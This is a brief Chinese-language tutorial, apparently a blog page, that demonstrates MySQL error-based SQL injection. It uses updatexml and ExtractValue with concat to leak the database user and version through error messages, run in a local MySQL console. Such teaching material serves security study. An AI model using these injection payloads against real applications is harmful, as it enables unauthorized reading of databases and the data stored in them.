赞
踩
updatexml函数 用法
select updatexml('<h1>hello</h1>' , '/h1' ,'x');
在 MySQL 的 bin 路径下打开 cmd ,输入下面的命令,再输入 数据库的密码
mysql -u root -p
使用报错注入
select updatexml('hello' , (select user()),'x');
select updatexml('hello' , (select version()),'x');
发现不全,借助 concat函数
select concat('hello' , 'world');
select updatexml('hello' , concat('<<' , (select version()) , '>>') , 'x');
或使用 ExtractValue函数
SELECT ExtractValue('<a><b>hello</b></a>' , '/a/b');
SELECT ExtractValue('<a><b>hello</b></a>' , concat('<<',(SELECT @@version),'>>'));
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。